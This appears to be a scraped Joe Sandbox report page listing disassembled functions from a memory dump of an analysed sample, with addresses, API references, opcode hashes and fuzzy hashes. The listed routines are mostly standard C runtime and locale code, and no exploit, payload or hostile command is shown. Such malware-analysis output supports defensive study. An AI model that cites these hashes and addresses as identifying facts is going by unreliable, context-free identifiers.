Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: a0a4d016ef317b85c11ff6a7c6bb5319fa8c9f724a41866447cce929d7672280
Instruction ID: e9dbe3fa7310e3863f51593a9b324271883a19c23a43a66a89ce6bd6aa2dcf76
Opcode Fuzzy Hash: a0a4d016ef317b85c11ff6a7c6bb5319fa8c9f724a41866447cce929d7672280
Instruction Fuzzy Hash: 52018F72900529BBCB14AB64D81A8ED7F69FFC1760B340159F502AB2A0EF30BF4187D4

Function 005B2B38 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005B2B44
int.LIBCPMT ref: 005B2B57

Part of subcall function 005B16AA: std::_Lockit::_Lockit.LIBCPMT ref: 005B16BB
Part of subcall function 005B16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 005B16D5

std::_Facet_Register.LIBCPMT ref: 005B2B8A
std::_Lockit::~_Lockit.LIBCPMT ref: 005B2BA0
Concurrency::cancel_current_task.LIBCPMT ref: 005B2BAB

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 18fa73d5ef69b580e63f819cb8f4fc98e2f7ac5f8a1c6c4d72263052fec8a7e5
Instruction ID: e5366ce61e43ee3067a5069b3689ed48c7fcbee95b0856c81f4b3e7328b1afea
Opcode Fuzzy Hash: 18fa73d5ef69b580e63f819cb8f4fc98e2f7ac5f8a1c6c4d72263052fec8a7e5
Instruction Fuzzy Hash: 1D018472900519ABCB14AF54D8598ED7F69FFD1760F240155F5119B291EF30BE0187D4

Function 005B511E Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005B5125
std::_Lockit::_Lockit.LIBCPMT ref: 005B5130
std::_Lockit::~_Lockit.LIBCPMT ref: 005B519E

Part of subcall function 005B5281: std::locale::_Locimp::_Locimp.LIBCPMT ref: 005B5299

std::locale::_Setgloballocale.LIBCPMT ref: 005B514B
_Yarn.LIBCPMT ref: 005B5161

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: a694d518674b62f7a2c93392a0e91a2686a5fd0b18f986093ce54fabfd69c2e9
Instruction ID: 55f78d48eb0d2ae3a2768eda482c2844033ec52398b64607460211b1acdfee39
Opcode Fuzzy Hash: a694d518674b62f7a2c93392a0e91a2686a5fd0b18f986093ce54fabfd69c2e9
Instruction Fuzzy Hash: 44017C75A019529FCB09AB64C94AABC7FA2FFD5740B184049E80167391EF74BE02DBD1

Function 005FFFAE Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005FFFBA

Part of subcall function 005FC94C: __getptd_noexit.LIBCMT ref: 005FC94F
Part of subcall function 005FC94C: __amsg_exit.LIBCMT ref: 005FC95C

__calloc_crt.LIBCMT ref: 005FFFC5
__lock.LIBCMT ref: 005FFFFB
___addlocaleref.LIBCMT ref: 00600007
__lock.LIBCMT ref: 0060001B

Part of subcall function 005FBAEC: __getptd_noexit.LIBCMT ref: 005FBAEC

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction ID: 42487815e1ce0d6f2a1f9cee46ce427bf8760d1054d73a8f463b884af6c2294d
Opcode Fuzzy Hash: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction Fuzzy Hash: DB01B13154170EEAEB60BBB4890FB2D7EA0BF84B20F204119F2959A2D2DB7C49418B65

Function 005FE711 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005FE71D

Part of subcall function 005FC94C: __getptd_noexit.LIBCMT ref: 005FC94F
Part of subcall function 005FC94C: __amsg_exit.LIBCMT ref: 005FC95C

__getptd.LIBCMT ref: 005FE734
__amsg_exit.LIBCMT ref: 005FE742
__lock.LIBCMT ref: 005FE752
__updatetlocinfoEx_nolock.LIBCMT ref: 005FE766

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: a26d518a08f444c186edff937a97c0d484d4f38cb0971a8885b720632729c586
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: E0F0F63294270D9AD620BB78980F7393E90FF40320F154509F340A61E2DB2C6900CA9A

Function 005BB212 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,005BB1C3,00000000,?,00639E3C,?,?,?,005BB366,00000004,InitializeCriticalSectionEx,005CFC70,InitializeCriticalSectionEx), ref: 005BB21F
GetLastError.KERNEL32(?,005BB1C3,00000000,?,00639E3C,?,?,?,005BB366,00000004,InitializeCriticalSectionEx,005CFC70,InitializeCriticalSectionEx,00000000,?,005BB11D), ref: 005BB229
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 005BB251

Strings

api-ms-, xrefs: 005BB236

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ce30ffc2d39a769dd94ede514ceca4fcef1abedeb7c7146995018fbab921e980
Instruction ID: e989fc5ac4d1501f8c6883322ef63e3f43af9580ab0f5f5302fa3c3c2dec365c
Opcode Fuzzy Hash: ce30ffc2d39a769dd94ede514ceca4fcef1abedeb7c7146995018fbab921e980
Instruction Fuzzy Hash: C4E01234240604BEFF111B60EC0FF5C3F55BB51B44F104420F90CA44E1E7E1A95496D4

Function 005C27C2 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(FAA3DA59,00000000,00000000,00000000), ref: 005C2825

Part of subcall function 005C6DB6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,005C5E7B,?,00000000,-00000008), ref: 005C6E62

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005C2A80
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 005C2AC8
GetLastError.KERNEL32 ref: 005C2B6B

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 38d7f89223b01a0487618b36ad61c6cf6f59b05fe42789f443094b6f9e6303a8
Instruction ID: dd469bb13673ea37145a38dd3f91f91fd346c458d8b993ccf13c3d055e1e6335
Opcode Fuzzy Hash: 38d7f89223b01a0487618b36ad61c6cf6f59b05fe42789f443094b6f9e6303a8
Instruction Fuzzy Hash: 7BD125B5E002599FCF15CFE8D884AADBBB5FF48314F18452AE856EB251D730A942CB60

Function 005E605E Relevance: 6.3, APIs: 4, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005E608F
_memset.LIBCMT ref: 005E60AF
_memset.LIBCMT ref: 005E60C0
_memset.LIBCMT ref: 005E60D1

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction ID: 27ed53d8e69e29fea840a1543d4ff208a72defd07cb5748383d4183705c28597
Opcode Fuzzy Hash: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction Fuzzy Hash: 17D104B191016EAADF24EB94DC86BEABB78FF44344F1014E3A548B2151DA707F89CF61

Function 005BA1E1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 005BA2A8
___AdjustPointer.LIBCMT ref: 005BA2CB
___AdjustPointer.LIBCMT ref: 005BA367

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9292d89735342dee32dcec098262a0c6ce06cdcf2415c36b8d14764dd2f72e78
Instruction ID: a9c78540fe4c2ed2419ad5f35e4d7f8e32f7b95389817dd49282e5e00ef81d19
Opcode Fuzzy Hash: 9292d89735342dee32dcec098262a0c6ce06cdcf2415c36b8d14764dd2f72e78
Instruction Fuzzy Hash: 8151E179A00606AFDB298F14D845BFABFA4FF84300F244829E80587291E732FC81D792

Function 005F0259 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F027E
_memset.LIBCMT ref: 005F028D
_memset.LIBCMT ref: 005F044D
_memset.LIBCMT ref: 005F045F

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction ID: 92ce0651dc6ca2356a01c508b5377107c8d8dab7b62f89acd7fc126895d2441f
Opcode Fuzzy Hash: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction Fuzzy Hash: D851C7B1E4026B9BCF25EF64CC85AEDB7B8FB44704F4100A6A718B3151DA346F868F44

Function 006006D1 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 006007CE
_free.LIBCMT ref: 00600868
_free.LIBCMT ref: 006008B1
_free.LIBCMT ref: 006008B9

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: _free$StringType___crt
String ID:
API String ID: 2532373593-0
Opcode ID: 4662c68cd8c080e51cc550e6244e4a123673a5b929557d34659c1feb86f00938
Instruction ID: 2ce954c87ed68b4b151182fa4bc20faef14b426c6d84756a9f9589f8eb3fc32a
Opcode Fuzzy Hash: 4662c68cd8c080e51cc550e6244e4a123673a5b929557d34659c1feb86f00938
Instruction Fuzzy Hash: A1510870A40615DFDB29CF24C954BE6BBF2FF49304F1081AAE94D97291E731AA91CF40

Function 005EE395 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005EE3BA
_memset.LIBCMT ref: 005EE42E
_memset.LIBCMT ref: 005EE4A2
_memset.LIBCMT ref: 005EE516

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction ID: caacc95313a288a8197ec93906e6821dd2bf6867e772558d2f53549914a0db4c
Opcode Fuzzy Hash: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction Fuzzy Hash: C541B671D4021EBADB28FB60DC4BFDD777CBB48700F154496B605E7180EAB95A448F91

Function 005FE9AD Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005FE9B9

Part of subcall function 005FC94C: __getptd_noexit.LIBCMT ref: 005FC94F
Part of subcall function 005FC94C: __amsg_exit.LIBCMT ref: 005FC95C

__amsg_exit.LIBCMT ref: 005FE9D9
__lock.LIBCMT ref: 005FE9E9
_free.LIBCMT ref: 005FEA19

Memory Dump Source

Source File: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction ID: f601a01a0ed6628361c415f2338911382c1338249933428adffe69c9261470ed
Opcode Fuzzy Hash: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction Fuzzy Hash: D701A131D02A1AABCB21AB24980F77D7B60BF44720F050166F740A71A1C77C6D41CFE5

Function 005CBCAB Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,005CACDB,00000000,00000001,00000000,00000000,?,005C2BBF,00000000,00000000,00000000), ref: 005CBCC2
GetLastError.KERNEL32(?,005CACDB,00000000,00000001,00000000,00000000,?,005C2BBF,00000000,00000000,00000000,00000000,00000000,?,005C3146,00000000), ref: 005CBCCE

Part of subcall function 005CBC94: CloseHandle.KERNEL32(FFFFFFFE,005CBCDE,?,005CACDB,00000000,00000001,00000000,00000000,?,005C2BBF,00000000,00000000,00000000,00000000,00000000), ref: 005CBCA4

___initconout.LIBCMT ref: 005CBCDE

Part of subcall function 005CBC56: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,005CBC85,005CACC8,00000000,?,005C2BBF,00000000,00000000,00000000,00000000), ref: 005CBC69

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,005CACDB,00000000,00000001,00000000,00000000,?,005C2BBF,00000000,00000000,00000000,00000000), ref: 005CBCF3

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a27c589e6055d3d032a9a858152842accaa447f842c0c7d58c99e6133f395bc8
Instruction ID: de0ad9634c55c443cf020b6fa6997a314deee9a50d930bf394064a626978283b
Opcode Fuzzy Hash: a27c589e6055d3d032a9a858152842accaa447f842c0c7d58c99e6133f395bc8
Instruction Fuzzy Hash: E6F0F836400126BFDF321FE19C0AE993F26FB583A1F054016FE0995120CB328C64ABD0

Function 005B9ED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 005B9F0F
__IsNonwritableInCurrentImage.LIBCMT ref: 005B9FC3

Strings

csm, xrefs: 005B9FAD

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 8ec9704836b52c1b690802e1481ddc94cae5dff23353e98acc576c68561ce88e
Instruction ID: 054cbdbe1ebe22a7f7f7c74737e9fd903459bc4025c90b5a0a7e9e0854ff584b
Opcode Fuzzy Hash: 8ec9704836b52c1b690802e1481ddc94cae5dff23353e98acc576c68561ce88e
Instruction Fuzzy Hash: 55419034A0020A9FCF11DF68C889AEEBFB5BF45324F148059E914AB392D771FA15CB91

Function 005BA7DD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 005BA802

Strings

MOC, xrefs: 005BA814
RCC, xrefs: 005BA81C

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4ff554542ba8995bc784eccd961f0f167bb5f6c7ce82a38ce7ab2386f081403d
Instruction ID: ca955d96fab934cddc5cbe66d2dbaa74f3f2bd1ac79f93ca79a8a2dab621d9dd
Opcode Fuzzy Hash: 4ff554542ba8995bc784eccd961f0f167bb5f6c7ce82a38ce7ab2386f081403d
Instruction Fuzzy Hash: 5F41567190020AAFCF16DF98CD85AEEBFB5FF48300F198059F914A7212D735A951DB52

Function 005B15D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005B15DC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 005B1614

Part of subcall function 005B521C: _Yarn.LIBCPMT ref: 005B523B
Part of subcall function 005B521C: _Yarn.LIBCPMT ref: 005B525F

Strings

bad locale name, xrefs: 005B1622

Memory Dump Source

Source File: 00000000.00000002.1802858194.00000000005B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1802817644.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802902464.00000000005CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803175080.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803219511.000000000063A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803267617.000000000063B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
